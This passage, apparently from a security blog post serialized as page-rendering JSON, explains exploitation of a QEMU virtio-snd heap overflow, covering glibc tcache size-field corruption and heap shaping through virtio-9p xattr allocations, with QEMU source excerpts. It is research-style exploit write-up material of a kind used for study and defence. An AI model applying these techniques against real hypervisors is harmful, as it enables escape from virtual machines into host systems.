"value":129768},{"type":24,"tag":930,"props":130073,"children":130074},{"class":932,"line":1191},[130075,130079,130083,130087,130091],{"type":24,"tag":930,"props":130076,"children":130077},{"style":1079},[130078],{"type":30,"value":20090},{"type":24,"tag":930,"props":130080,"children":130081},{"style":1002},[130082],{"type":30,"value":129780},{"type":24,"tag":930,"props":130084,"children":130085},{"style":959},[130086],{"type":30,"value":1087},{"type":24,"tag":930,"props":130088,"children":130089},{"style":1270},[130090],{"type":30,"value":129458},{"type":24,"tag":930,"props":130092,"children":130093},{"style":959},[130094],{"type":30,"value":1278},{"type":24,"tag":930,"props":130096,"children":130097},{"class":932,"line":1223},[130098],{"type":24,"tag":930,"props":130099,"children":130100},{"emptyLinePlaceholder":16},[130101],{"type":30,"value":2412},{"type":24,"tag":930,"props":130103,"children":130104},{"class":932,"line":1281},[130105,130109,130113,130118,130123],{"type":24,"tag":930,"props":130106,"children":130107},{"style":1002},[130108],{"type":30,"value":129561},{"type":24,"tag":930,"props":130110,"children":130111},{"style":959},[130112],{"type":30,"value":1087},{"type":24,"tag":930,"props":130114,"children":130115},{"style":1002},[130116],{"type":30,"value":130117},"arena_for_chunk",{"type":24,"tag":930,"props":130119,"children":130120},{"style":959},[130121],{"type":30,"value":130122}," (p), p);",{"type":24,"tag":930,"props":130124,"children":130125},{"style":1422},[130126],{"type":30,"value":130127},"             // [1]\n",{"type":24,"tag":930,"props":130129,"children":130130},{"class":932,"line":1313},[130131],{"type":24,"tag":930,"props":130132,"children":130133},{"emptyLinePlaceholder":16},[130134],{"type":30,"value":2412},{"type":24,"tag":930,"props":130136,"children":130137},{"class":932,"line":1335},[130138,130142],{"type":24,"tag":930,"props":130139,"children":130140},{"style":1079},[130141],{"type":30,"value":129807},{"type":24,"tag":930,"props":130143,"children":130144},{"style":1002},[130145],{"type":30,"value":129812},{"type":24,"tag":930,"props":130147,"children":130148},{"class":932,"line":1376},[130149,130153,130157,130161,130165,130169,130173,130177,130181,130185,130190,130194,130199],{"type":24,"tag":930,"props":130150,"children":130151},{"style":1079},[130152],{"type":30,"value":34486},{"type":24,"tag":930,"props":130154,"children":130155},{"style":959},[130156],{"type":30,"value":1087},{"type":24,"tag":930,"props":130158,"children":130159},{"style":1002},[130160],{"type":30,"value":129828},{"type":24,"tag":930,"props":130162,"children":130163},{"style":959},[130164],{"type":30,"value":129499},{"type":24,"tag":930,"props":130166,"children":130167},{"style":1158},[130168],{"type":30,"value":1350},{"type":24,"tag":930,"props":130170,"children":130171},{"style":1023},[130172],{"type":30,"value":129841},{"type":24,"tag":930,"props":130174,"children":130175},{"style":959},[130176],{"type":30,"value":436},{"type":24,"tag":930,"props":130178,"children":130179},{"style":1023},[130180],{"type":30,"value":129850},{"type":24,"tag":930,"props":130182,"children":130183},{"style":1158},[130184],{"type":30,"value":17291},{"type":24,"tag":930,"props":130186,"children":130187},{"style":959},[130188],{"type":30,"value":130189}," tcache ",{"type":24,"tag":930,"props":130191,"children":130192},{"style":1158},[130193],{"type":30,"value":4681},{"type":24,"tag":930,"props":130195,"children":130196},{"style":937},[130197],{"type":30,"value":130198}," NULL",{"type":24,"tag":930,"props":130200,"children":130201},{"style":959},[130202],{"type":30,"value":22815},{"type":24,"tag":930,"props":130204,"children":130205},{"class":932,"line":1418},[130206],{"type":24,"tag":930,"props":130207,"children":130208},{"style":959},[130209],{"type":30,"value":129581},{"type":24,"tag":33,"props":130211,"children":130212},{},[130213,130215,130220],{"type":30,"value":130214},"This means that as long as we can reliably force the corrupted chunk down the tcache path, we no longer need to worry much about integrity checks on ",{"type":24,"tag":156,"props":130216,"children":130218},{"className":130217},[],[130219],{"type":30,"value":126688},{"type":30,"value":130221},", because on the latest 2.43 glibc they are non-existent.",{"type":24,"tag":21895,"props":130223,"children":130224},{},[],{"type":24,"tag":33,"props":130226,"children":130227},{},[130228,130230,130235,130237,130243,130245,130250,130252,130258],{"type":30,"value":130229},"With that in mind, the idea we settled on was to allocate a chunk whose ",{"type":24,"tag":156,"props":130231,"children":130233},{"className":130232},[],[130234],{"type":30,"value":126688},{"type":30,"value":130236}," field was initially ",{"type":24,"tag":156,"props":130238,"children":130240},{"className":130239},[],[130241],{"type":30,"value":130242},"0x200",{"type":30,"value":130244},", then trigger the overflow and corrupt only its low byte. If the byte written is at least ",{"type":24,"tag":156,"props":130246,"children":130248},{"className":130247},[],[130249],{"type":30,"value":128865},{"type":30,"value":130251},", the resulting value would correspond to a larger, tcache-eligible, size in range ",{"type":24,"tag":156,"props":130253,"children":130255},{"className":130254},[],[130256],{"type":30,"value":130257},"[0x210, 0x2f0]",{"type":30,"value":130259},". That would let us free the chunk as an oversized entry into the tcache freelist, which we could later reclaim and overlap chunks for a better primitive.",{"type":24,"tag":33,"props":130261,"children":130262},{},[130263],{"type":30,"value":130264},"This approach gives us much better odds of success. In fact, with the stream configuration we use later, we can make this behavior reliable enough to exploit consistently.",{"type":24,"tag":151,"props":130266,"children":130268},{"id":130267},"heap-spraying",[130269],{"type":30,"value":130270},"Heap Spraying",{"type":24,"tag":33,"props":130272,"children":130273},{},[130274,130276,130281],{"type":30,"value":130275},"With that idea in mind, we now need a way to shape the heap so that a ",{"type":24,"tag":156,"props":130277,"children":130279},{"className":130278},[],[130280],{"type":30,"value":130242},{"type":30,"value":130282},"-sized chunk is placed immediately after the vulnerable virtio-snd buffer. In addition, we need to drain any existing entries from the relevant tcache freelist so that it is not full when we later free the corrupted oversized chunk.",{"type":24,"tag":33,"props":130284,"children":130285},{},[130286,130288,130293],{"type":30,"value":130287},"Unfortunately, while virtio-snd does provide some heap spraying primitives through its buffer allocations, they are fairly limited. For example, we could only allocate up to 64 buffers at a time. On top of that, ",{"type":24,"tag":156,"props":130289,"children":130291},{"className":130290},[],[130292],{"type":30,"value":126883},{"type":30,"value":130294}," is a FIFO queue, so we could not control the order in which those buffers were freed - they would always be released in the same order they were inserted.",{"type":24,"tag":33,"props":130296,"children":130297},{},[130298],{"type":30,"value":130299},"For the purposes of this blog post, we therefore enabled another virtio device to help with heap shaping.",{"type":24,"tag":21995,"props":130301,"children":130303},{"id":130302},"virtio-9p",[130304],{"type":30,"value":130302},{"type":24,"tag":33,"props":130306,"children":130307},{},[130308,130313],{"type":24,"tag":156,"props":130309,"children":130311},{"className":130310},[],[130312],{"type":30,"value":130302},{"type":30,"value":130314}," is a paravirtualized filesystem device that lets the guest access a directory exported by the host through the 9P protocol. The part that interested us most was its handling of extended attributes, or xattrs.",{"type":24,"tag":33,"props":130316,"children":130317},{},[130318,130320,130326,130328,130334,130335,130341,130343,130348],{"type":30,"value":130319},"Through a ",{"type":24,"tag":156,"props":130321,"children":130323},{"className":130322},[],[130324],{"type":30,"value":130325},"P9_TXATTRCREATE",{"type":30,"value":130327}," request, we can allocate host-side buffers for both the ",{"type":24,"tag":156,"props":130329,"children":130331},{"className":130330},[],[130332],{"type":30,"value":130333},".name",{"type":30,"value":211},{"type":24,"tag":156,"props":130336,"children":130338},{"className":130337},[],[130339],{"type":30,"value":130340},".value",{"type":30,"value":130342}," fields, with the size of ",{"type":24,"tag":156,"props":130344,"children":130346},{"className":130345},[],[130347],{"type":30,"value":130340},{"type":30,"value":130349}," being directly controlled by the guest.",{"type":24,"tag":920,"props":130351,"children":130353},{"code":130352,"language":6268,"meta":7,"className":19616,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n    int flags, rflags = 0;\n    int32_t fid;\n    uint64_t size;\n    ssize_t err = 0;\n    V9fsString name;\n    size_t offset = 7;\n    V9fsFidState *file_fidp;\n    V9fsFidState *xattr_fidp;\n    V9fsPDU *pdu = opaque;\n\n    v9fs_string_init(&name);\n    err = pdu_unmarshal(pdu, offset, \"dsqd\", &fid, &name, &size, &flags);\n    if (err \u003C 0) {\n        goto out_nofid;\n    }\n\n    [...]\n\n    if (size > P9_XATTR_SIZE_MAX) {\n        err = -E2BIG;\n        goto out_nofid;\n    }\n\n    [...]\n\n    v9fs_string_init(&xattr_fidp->fs.xattr.name);\n    v9fs_string_copy(&xattr_fidp->fs.xattr.name, &name);\n    xattr_fidp->fs.xattr.value = g_malloc0(size);\n}\n",[130354],{"type":24,"tag":156,"props":130355,"children":130356},{"__ignoreMap":7},[130357,130399,130406,130430,130443,130454,130479,130487,130512,130529,130545,130571,130578,130599,130665,130689,130702,130709,130716,130723,130730,130750,130771,130782,130789,130796,130803,130810,130859,130915,130960],{"type":24,"tag":930,"props":130358,"children":130359},{"class":932,"line":933},[130360,130364,130368,130373,130378,130382,130386,130390,130395],{"type":24,"tag":930,"props":130361,"children":130362},{"style":937},[130363],{"type":30,"value":54133},{"type":24,"tag":930,"props":130365,"children":130366},{"style":937},[130367],{"type":30,"value":54138},{"type":24,"tag":930,"props":130369,"children":130370},{"style":959},[130371],{"type":30,"value":130372}," coroutine_fn ",{"type":24,"tag":930,"props":130374,"children":130375},{"style":1002},[130376],{"type":30,"value":130377},"v9fs_xattrcreate",{"type":24,"tag":930,"props":130379,"children":130380},{"style":959},[130381],{"type":30,"value":1010},{"type":24,"tag":930,"props":130383,"children":130384},{"style":937},[130385],{"type":30,"value":54716},{"type":24,"tag":930,"props":130387,"children":130388},{"style":1158},[130389],{"type":30,"value":12924},{"type":24,"tag":930,"props":130391,"children":130392},{"style":1023},[130393],{"type":30,"value":130394},"opaque",{"type":24,"tag":930,"props":130396,"children":130397},{"style":959},[130398],{"type":30,"value":1054},{"type":24,"tag":930,"props":130400,"children":130401},{"class":932,"line":984},[130402],{"type":24,"tag":930,"props":130403,"children":130404},{"style":959},[130405],{"type":30,"value":13987},{"type":24,"tag":930,"props":130407,"children":130408},{"class":932,"line":993},[130409,130413,130418,130422,130426],{"type":24,"tag":930,"props":130410,"children":130411},{"style":937},[130412],{"type":30,"value":22179},{"type":24,"tag":930,"props":130414,"children":130415},{"style":959},[130416],{"type":30,"value":130417}," flags, rflags ",{"type":24,"tag":930,"props":130419,"children":130420},{"style":1158},[130421],{"type":30,"value":1161},{"type":24,"tag":930,"props":130423,"children":130424},{"style":1242},[130425],{"type":30,"value":1245},{"type":24,"tag":930,"props":130427,"children":130428},{"style":959},[130429],{"type":30,"value":5539},{"type":24,"tag":930,"props":130431,"children":130432},{"class":932,"line":1057},[130433,130438],{"type":24,"tag":930,"props":130434,"children":130435},{"style":937},[130436],{"type":30,"value":130437},"    int32_t",{"type":24,"tag":930,"props":130439,"children":130440},{"style":959},[130441],{"type":30,"value":130442}," fid;\n",{"type":24,"tag":930,"props":130444,"children":130445},{"class":932,"line":1066},[130446,130450],{"type":24,"tag":930,"props":130447,"children":130448},{"style":937},[130449],{"type":30,"value":58702},{"type":24,"tag":930,"props":130451,"children":130452},{"style":959},[130453],{"type":30,"value":127030},{"type":24,"tag":930,"props":130455,"children":130456},{"class":932,"line":1075},[130457,130462,130467,130471,130475],{"type":24,"tag":930,"props":130458,"children":130459},{"style":937},[130460],{"type":30,"value":130461},"    ssize_t",{"type":24,"tag":930,"props":130463,"children":130464},{"style":959},[130465],{"type":30,"value":130466}," err ",{"type":24,"tag":930,"props":130468,"children":130469},{"style":1158},[130470],{"type":30,"value":1161},{"type":24,"tag":930,"props":130472,"children":130473},{"style":1242},[130474],{"type":30,"value":1245},{"type":24,"tag":930,"props":130476,"children":130477},{"style":959},[130478],{"type":30,"value":5539},{"type":24,"tag":930,"props":130480,"children":130481},{"class":932,"line":1122},[130482],{"type":24,"tag":930,"props":130483,"children":130484},{"style":959},[130485],{"type":30,"value":130486},"    V9fsString name;\n",{"type":24,"tag":930,"props":130488,"children":130489},{"class":932,"line":1131},[130490,130494,130499,130503,130508],{"type":24,"tag":930,"props":130491,"children":130492},{"style":937},[130493],{"type":30,"value":19666},{"type":24,"tag":930,"props":130495,"children":130496},{"style":959},[130497],{"type":30,"value":130498}," offset ",{"type":24,"tag":930,"props":130500,"children":130501},{"style":1158},[130502],{"type":30,"value":1161},{"type":24,"tag":930,"props":130504,"children":130505},{"style":1242},[130506],{"type":30,"value":130507}," 7",{"type":24,"tag":930,"props":130509,"children":130510},{"style":959},[130511],{"type":30,"value":5539},{"type":24,"tag":930,"props":130513,"children":130514},{"class":932,"line":1144},[130515,130520,130524],{"type":24,"tag":930,"props":130516,"children":130517},{"style":959},[130518],{"type":30,"value":130519},"    V9fsFidState ",{"type":24,"tag":930,"props":130521,"children":130522},{"style":1158},[130523],{"type":30,"value":1410},{"type":24,"tag":930,"props":130525,"children":130526},{"style":959},[130527],{"type":30,"value":130528},"file_fidp;\n",{"type":24,"tag":930,"props":130530,"children":130531},{"class":932,"line":1169},[130532,130536,130540],{"type":24,"tag":930,"props":130533,"children":130534},{"style":959},[130535],{"type":30,"value":130519},{"type":24,"tag":930,"props":130537,"children":130538},{"style":1158},[130539],{"type":30,"value":1410},{"type":24,"tag":930,"props":130541,"children":130542},{"style":959},[130543],{"type":30,"value":130544},"xattr_fidp;\n",{"type":24,"tag":930,"props":130546,"children":130547},{"class":932,"line":1191},[130548,130553,130557,130562,130566],{"type":24,"tag":930,"props":130549,"children":130550},{"style":959},[130551],{"type":30,"value":130552},"    V9fsPDU ",{"type":24,"tag":930,"props":130554,"children":130555},{"style":1158},[130556],{"type":30,"value":1410},{"type":24,"tag":930,"props":130558,"children":130559},{"style":959},[130560],{"type":30,"value":130561},"pdu ",{"type":24,"tag":930,"props":130563,"children":130564},{"style":1158},[130565],{"type":30,"value":1161},{"type":24,"tag":930,"props":130567,"children":130568},{"style":959},[130569],{"type":30,"value":130570}," opaque;\n",{"type":24,"tag":930,"props":130572,"children":130573},{"class":932,"line":1223},[130574],{"type":24,"tag":930,"props":130575,"children":130576},{"emptyLinePlaceholder":16},[130577],{"type":30,"value":2412},{"type":24,"tag":930,"props":130579,"children":130580},{"class":932,"line":1281},[130581,130586,130590,130594],{"type":24,"tag":930,"props":130582,"children":130583},{"style":1002},[130584],{"type":30,"value":130585},"    v9fs_string_init",{"type":24,"tag":930,"props":130587,"children":130588},{"style":959},[130589],{"type":30,"value":1010},{"type":24,"tag":930,"props":130591,"children":130592},{"style":1158},[130593],{"type":30,"value":6230},{"type":24,"tag":930,"props":130595,"children":130596},{"style":959},[130597],{"type":30,"value":130598},"name);\n",{"type":24,"tag":930,"props":130600,"children":130601},{"class":932,"line":1313},[130602,130607,130611,130616,130621,130626,130630,130634,130639,130643,130648,130652,130656,130660],{"type":24,"tag":930,"props":130603,"children":130604},{"style":959},[130605],{"type":30,"value":130606},"    err ",{"type":24,"tag":930,"props":130608,"children":130609},{"style":1158},[130610],{"type":30,"value":1161},{"type":24,"tag":930,"props":130612,"children":130613},{"style":1002},[130614],{"type":30,"value":130615}," pdu_unmarshal",{"type":24,"tag":930,"props":130617,"children":130618},{"style":959},[130619],{"type":30,"value":130620},"(pdu, offset, ",{"type":24,"tag":930,"props":130622,"children":130623},{"style":1270},[130624],{"type":30,"value":130625},"\"dsqd\"",{"type":24,"tag":930,"props":130627,"children":130628},{"style":959},[130629],{"type":30,"value":962},{"type":24,"tag":930,"props":130631,"children":130632},{"style":1158},[130633],{"type":30,"value":6230},{"type":24,"tag":930,"props":130635,"children":130636},{"style":959},[130637],{"type":30,"value":130638},"fid, ",{"type":24,"tag":930,"props":130640,"children":130641},{"style":1158},[130642],{"type":30,"value":6230},{"type":24,"tag":930,"props":130644,"children":130645},{"style":959},[130646],{"type":30,"value":130647},"name, ",{"type":24,"tag":930,"props":130649,"children":130650},{"style":1158},[130651],{"type":30,"value":6230},{"type":24,"tag":930,"props":130653,"children":130654},{"style":959},[130655],{"type":30,"value":129398},{"type":24,"tag":930,"props":130657,"children":130658},{"style":1158},[130659],{"type":30,"value":6230},{"type":24,"tag":930,"props":130661,"children":130662},{"style":959},[130663],{"type":30,"value":130664},"flags);\n",{"type":24,"tag":930,"props":130666,"children":130667},{"class":932,"line":1335},[130668,130672,130677,130681,130685],{"type":24,"tag":930,"props":130669,"children":130670},{"style":1079},[130671],{"type":30,"value":15386},{"type":24,"tag":930,"props":130673,"children":130674},{"style":959},[130675],{"type":30,"value":130676}," (err ",{"type":24,"tag":930,"props":130678,"children":130679},{"style":1158},[130680],{"type":30,"value":1350},{"type":24,"tag":930,"props":130682,"children":130683},{"style":1242},[130684],{"type":30,"value":1245},{"type":24,"tag":930,"props":130686,"children":130687},{"style":959},[130688],{"type":30,"value":1503},{"type":24,"tag":930,"props":130690,"children":130691},{"class":932,"line":1376},[130692,130697],{"type":24,"tag":930,"props":130693,"children":130694},{"style":1079},[130695],{"type":30,"value":130696},"        goto",{"type":24,"tag":930,"props":130698,"children":130699},{"style":959},[130700],{"type":30,"value":130701}," out_nofid;\n",{"type":24,"tag":930,"props":130703,"children":130704},{"class":932,"line":1418},[130705],{"type":24,"tag":930,"props":130706,"children":130707},{"style":959},[130708],{"type":30,"value":1840},{"type":24,"tag":930,"props":130710,"children":130711},{"class":932,"line":1438},[130712],{"type":24,"tag":930,"props":130713,"children":130714},{"emptyLinePlaceholder":16},[130715],{"type":30,"value":2412},{"type":24,"tag":930,"props":130717,"children":130718},{"class":932,"line":1479},[130719],{"type":24,"tag":930,"props":130720,"children":130721},{"style":959},[130722],{"type":30,"value":2923},{"type":24,"tag":930,"props":130724,"children":130725},{"class":932,"line":1506},[130726],{"type":24,"tag":930,"props":130727,"children":130728},{"emptyLinePlaceholder":16},[130729],{"type":30,"value":2412},{"type":24,"tag":930,"props":130731,"children":130732},{"class":932,"line":1525},[130733,130737,130741,130745],{"type":24,"tag":930,"props":130734,"children":130735},{"style":1079},[130736],{"type":30,"value":15386},{"type":24,"tag":930,"props":130738,"children":130739},{"style":959},[130740],{"type":30,"value":129499},{"type":24,"tag":930,"props":130742,"children":130743},{"style":1158},[130744],{"type":30,"value":2261},{"type":24,"tag":930,"props":130746,"children":130747},{"style":959},[130748],{"type":30,"value":130749}," P9_XATTR_SIZE_MAX) {\n",{"type":24,"tag":930,"props":130751,"children":130752},{"class":932,"line":1569},[130753,130758,130762,130766],{"type":24,"tag":930,"props":130754,"children":130755},{"style":959},[130756],{"type":30,"value":130757},"        err ",{"type":24,"tag":930,"props":130759,"children":130760},{"style":1158},[130761],{"type":30,"value":1161},{"type":24,"tag":930,"props":130763,"children":130764},{"style":1158},[130765],{"type":30,"value":54344},{"type":24,"tag":930,"props":130767,"children":130768},{"style":959},[130769],{"type":30,"value":130770},"E2BIG;\n",{"type":24,"tag":930,"props":130772,"children":130773},{"class":932,"line":1592},[130774,130778],{"type":24,"tag":930,"props":130775,"children":130776},{"style":1079},[130777],{"type":30,"value":130696},{"type":24,"tag":930,"props":130779,"children":130780},{"style":959},[130781],{"type":30,"value":130701},{"type":24,"tag":930,"props":130783,"children":130784},{"class":932,"line":1610},[130785],{"type":24,"tag":930,"props":130786,"children":130787},{"style":959},[130788],{"type":30,"value":1840},{"type":24,"tag":930,"props":130790,"children":130791},{"class":932,"line":1628},[130792],{"type":24,"tag":930,"props":130793,"children":130794},{"emptyLinePlaceholder":16},[130795],{"type":30,"value":2412},{"type":24,"tag":930,"props":130797,"children":130798},{"class":932,"line":1637},[130799],{"type":24,"tag":930,"props":130800,"children":130801},{"style":959},[130802],{"type":30,"value":2923},{"type":24,"tag":930,"props":130804,"children":130805},{"class":932,"line":1646},[130806],{"type":24,"tag":930,"props":130807,"children":130808},{"emptyLinePlaceholder":16},[130809],{"type":30,"value":2412},{"type":24,"tag":930,"props":130811,"children":130812},{"class":932,"line":1673},[130813,130817,130821,130825,130830,130834,130838,130842,130847,130851,130855],{"type":24,"tag":930,"props":130814,"children":130815},{"style":1002},[130816],{"type":30,"value":130585},{"type":24,"tag":930,"props":130818,"children":130819},{"style":959},[130820],{"type":30,"value":1010},{"type":24,"tag":930,"props":130822,"children":130823},{"style":1158},[130824],{"type":30,"value":6230},{"type":24,"tag":930,"props":130826,"children":130827},{"style":1023},[130828],{"type":30,"value":130829},"xattr_fidp",{"type":24,"tag":930,"props":130831,"children":130832},{"style":959},[130833],{"type":30,"value":16864},{"type":24,"tag":930,"props":130835,"children":130836},{"style":1023},[130837],{"type":30,"value":40070},{"type":24,"tag":930,"props":130839,"children":130840},{"style":959},[130841],{"type":30,"value":436},{"type":24,"tag":930,"props":130843,"children":130844},{"style":1023},[130845],{"type":30,"value":130846},"xattr",{"type":24,"tag":930,"props":130848,"children":130849},{"style":959},[130850],{"type":30,"value":436},{"type":24,"tag":930,"props":130852,"children":130853},{"style":1023},[130854],{"type":30,"value":51587},{"type":24,"tag":930,"props":130856,"children":130857},{"style":959},[130858],{"type":30,"value":1278},{"type":24,"tag":930,"props":130860,"children":130861},{"class":932,"line":1692},[130862,130867,130871,130875,130879,130883,130887,130891,130895,130899,130903,130907,130911],{"type":24,"tag":930,"props":130863,"children":130864},{"style":1002},[130865],{"type":30,"value":130866},"    v9fs_string_copy",{"type":24,"tag":930,"props":130868,"children":130869},{"style":959},[130870],{"type":30,"value":1010},{"type":24,"tag":930,"props":130872,"children":130873},{"style":1158},[130874],{"type":30,"value":6230},{"type":24,"tag":930,"props":130876,"children":130877},{"style":1023},[130878],{"type":30,"value":130829},{"type":24,"tag":930,"props":130880,"children":130881},{"style":959},[130882],{"type":30,"value":16864},{"type":24,"tag":930,"props":130884,"children":130885},{"style":1023},[130886],{"type":30,"value":40070},{"type":24,"tag":930,"props":130888,"children":130889},{"style":959},[130890],{"type":30,"value":436},{"type":24,"tag":930,"props":130892,"children":130893},{"style":1023},[130894],{"type":30,"value":130846},{"type":24,"tag":930,"props":130896,"children":130897},{"style":959},[130898],{"type":30,"value":436},{"type":24,"tag":930,"props":130900,"children":130901},{"style":1023},[130902],{"type":30,"value":51587},{"type":24,"tag":930,"props":130904,"children":130905},{"style":959},[130906],{"type":30,"value":962},{"type":24,"tag":930,"props":130908,"children":130909},{"style":1158},[130910],{"type":30,"value":6230},{"type":24,"tag":930,"props":130912,"children":130913},{"style":959},[130914],{"type":30,"value":130598},{"type":24,"tag":930,"props":130916,"children":130917},{"class":932,"line":1730},[130918,130923,130927,130931,130935,130939,130943,130947,130951,130955],{"type":24,"tag":930,"props":130919,"children":130920},{"style":1023},[130921],{"type":30,"value":130922},"    xattr_fidp",{"type":24,"tag":930,"props":130924,"children":130925},{"style":959},[130926],{"type":30,"value":16864},{"type":24,"tag":930,"props":130928,"children":130929},{"style":1023},[130930],{"type":30,"value":40070},{"type":24,"tag":930,"props":130932,"children":130933},{"style":959},[130934],{"type":30,"value":436},{"type":24,"tag":930,"props":130936,"children":130937},{"style":1023},[130938],{"type":30,"value":130846},{"type":24,"tag":930,"props":130940,"children":130941},{"style":959},[130942],{"type":30,"value":436},{"type":24,"tag":930,"props":130944,"children":130945},{"style":1023},[130946],{"type":30,"value":42239},{"type":24,"tag":930,"props":130948,"children":130949},{"style":1158},[130950],{"type":30,"value":6137},{"type":24,"tag":930,"props":130952,"children":130953},{"style":1002},[130954],{"type":30,"value":126601},{"type":24,"tag":930,"props":130956,"children":130957},{"style":959},[130958],{"type":30,"value":130959},"(size);\n",{"type":24,"tag":930,"props":130961,"children":130962},{"class":932,"line":1762},[130963],{"type":24,"tag":930,"props":130964,"children":130965},{"style":959},[130966],{"type":30,"value":2528},{"type":24,"tag":33,"props":130968,"children":130969},{},[130970,130972,130977,130979,130984,130985,130990,130992,130997],{"type":30,"value":130971},"Because the ",{"type":24,"tag":156,"props":130973,"children":130975},{"className":130974},[],[130976],{"type":30,"value":130333},{"type":30,"value":130978}," field is handled as a string, embedded null bytes are not preserved, which makes it less useful for our purposes. It also introduces some extra allocation noise into the heap, since creating an xattr allocates both ",{"type":24,"tag":156,"props":130980,"children":130982},{"className":130981},[],[130983],{"type":30,"value":130333},{"type":30,"value":211},{"type":24,"tag":156,"props":130986,"children":130988},{"className":130987},[],[130989],{"type":30,"value":130340},{"type":30,"value":130991},", not just the ",{"type":24,"tag":156,"props":130993,"children":130995},{"className":130994},[],[130996],{"type":30,"value":130340},{"type":30,"value":130998}," we actually care about. But we will get around this later in the blog post.",{"type":24,"tag":33,"props":131000,"children":131001},{},[131002,131003,131008],{"type":30,"value":259},{"type":24,"tag":156,"props":131004,"children":131006},{"className":131005},[],[131007],{"type":30,"value":130340},{"type":30,"value":131009}," field, however, is much more interesting: it gives us a guest-controlled heap allocation of an arbitrary size. Each of these allocations is tied to its own xattr FID, which means it stays alive for as long as that FID remains live. In practice, this gives us a large number of persistent host-side heap objects that we can manage individually.",{"type":24,"tag":33,"props":131011,"children":131012},{},[131013,131015,131020,131022,131028,131030,131036,131038,131044],{"type":30,"value":131014},"Once allocated, we can write arbitrary bytes into the ",{"type":24,"tag":156,"props":131016,"children":131018},{"className":131017},[],[131019],{"type":30,"value":130340},{"type":30,"value":131021}," buffer through a ",{"type":24,"tag":156,"props":131023,"children":131025},{"className":131024},[],[131026],{"type":30,"value":131027},"P9_TWRITE",{"type":30,"value":131029}," request on the corresponding xattr FID. We can also read the contents back with ",{"type":24,"tag":156,"props":131031,"children":131033},{"className":131032},[],[131034],{"type":30,"value":131035},"P9_TREAD",{"type":30,"value":131037},", which is useful later when turning overlap into stronger primitives. Finally, we can free any individual allocation at any time by issuing a ",{"type":24,"tag":156,"props":131039,"children":131041},{"className":131040},[],[131042],{"type":30,"value":131043},"P9_TCLUNK",{"type":30,"value":131045}," request on that same FID.",{"type":24,"tag":33,"props":131047,"children":131048},{},[131049,131051,131057],{"type":30,"value":131050},"This gives us a very strong heap shaping primitive in QEMU - allocate on demand, choose the size precisely (up to ",{"type":24,"tag":156,"props":131052,"children":131054},{"className":131053},[],[131055],{"type":30,"value":131056},"65536",{"type":30,"value":131058}," bytes, which is more than enough here), fully control the contents of the allocation, keep it alive as long as needed, and free it selectively later.",{"type":24,"tag":151,"props":131060,"children":131062},{"id":131061},"setting-the-heap-layout",[131063],{"type":30,"value":131064},"Setting the Heap Layout",{"type":24,"tag":33,"props":131066,"children":131067},{},[131068,131070,131075],{"type":30,"value":131069},"Ideally, we want a contiguous heap region consisting only of ",{"type":24,"tag":156,"props":131071,"children":131073},{"className":131072},[],[131074],{"type":30,"value":130340},{"type":30,"value":131076}," allocations, like this:",{"type":24,"tag":920,"props":131078,"children":131080},{"code":131079},"   0x200      0x200      0x200      0x200      0x200\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value B | .value C | .value D | .value E |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[131081],{"type":24,"tag":156,"props":131082,"children":131083},{"__ignoreMap":7},[131084],{"type":30,"value":131079},{"type":24,"tag":33,"props":131086,"children":131087},{},[131088,131090,131095,131097,131102,131104,131109],{"type":30,"value":131089},"This lets us later create holes by freeing every other ",{"type":24,"tag":156,"props":131091,"children":131093},{"className":131092},[],[131094],{"type":30,"value":130340},{"type":30,"value":131096}," allocation. Those freed chunks enter the freelist, allowing the overflowing virtio-snd buffer to be allocated into one of those holes and overflow into the ",{"type":24,"tag":156,"props":131098,"children":131100},{"className":131099},[],[131101],{"type":30,"value":126688},{"type":30,"value":131103}," field of the next live ",{"type":24,"tag":156,"props":131105,"children":131107},{"className":131106},[],[131108],{"type":30,"value":130340},{"type":30,"value":131110}," chunk.",{"type":24,"tag":33,"props":131112,"children":131113},{},[131114],{"type":30,"value":131115},"Of course, we do not know the initial state of the heap. In practice, it is fragmented and already contains many freelist entries. Fortunately, this is not a problem for glibc, since the allocator is deterministic. By allocating enough chunks of the size we want, malloc will first consume any suitable entries already present in the freelist. Once those are exhausted, subsequent allocations will be served from the top chunk in a contiguous fashion, giving us the continuous region we need.",{"type":24,"tag":33,"props":131117,"children":131118},{},[131119,131121,131126,131128,131133,131135,131140,131142,131147],{"type":30,"value":131120},"As mentioned earlier, ",{"type":24,"tag":156,"props":131122,"children":131124},{"className":131123},[],[131125],{"type":30,"value":130377},{"type":30,"value":131127}," always allocates two chunks: one for ",{"type":24,"tag":156,"props":131129,"children":131131},{"className":131130},[],[131132],{"type":30,"value":130333},{"type":30,"value":131134}," and one for ",{"type":24,"tag":156,"props":131136,"children":131138},{"className":131137},[],[131139],{"type":30,"value":130340},{"type":30,"value":131141},". We want to avoid having ",{"type":24,"tag":156,"props":131143,"children":131145},{"className":131144},[],[131146],{"type":30,"value":130333},{"type":30,"value":131148}," chunks inside our main contiguous region. There are two ways to approach this:",{"type":24,"tag":478,"props":131150,"children":131151},{},[131152,131164],{"type":24,"tag":100,"props":131153,"children":131154},{},[131155,131157,131162],{"type":30,"value":131156},"Make ",{"type":24,"tag":156,"props":131158,"children":131160},{"className":131159},[],[131161],{"type":30,"value":130333},{"type":30,"value":131163}," larger than the mmap threshold, so it is allocated from a separate mapping rather than from the main heap. This would give us the layout we want, but at the cost of dramatically increasing memory usage during heap spraying.",{"type":24,"tag":100,"props":131165,"children":131166},{},[131167,131169,131174,131176,131181,131183,131188],{"type":30,"value":131168},"Prepare a separate region whose sole purpose is to absorb ",{"type":24,"tag":156,"props":131170,"children":131172},{"className":131171},[],[131173],{"type":30,"value":130333},{"type":30,"value":131175},"-sized allocations. Later, when we start building the main contiguous region, malloc will satisfy ",{"type":24,"tag":156,"props":131177,"children":131179},{"className":131178},[],[131180],{"type":30,"value":130333},{"type":30,"value":131182}," allocations from that separate freelist instead of placing them next to our ",{"type":24,"tag":156,"props":131184,"children":131186},{"className":131185},[],[131187],{"type":30,"value":130340},{"type":30,"value":131189}," chunks.",{"type":24,"tag":21995,"props":131191,"children":131193},{"id":131192},"separating-name-allocations",[131194],{"type":30,"value":131195},"Separating .name allocations",{"type":24,"tag":33,"props":131197,"children":131198},{},[131199,131201,131206,131208,131213],{"type":30,"value":131200},"We chose the second option. However, it is not as simple as issuing ",{"type":24,"tag":156,"props":131202,"children":131204},{"className":131203},[],[131205],{"type":30,"value":130377},{"type":30,"value":131207}," 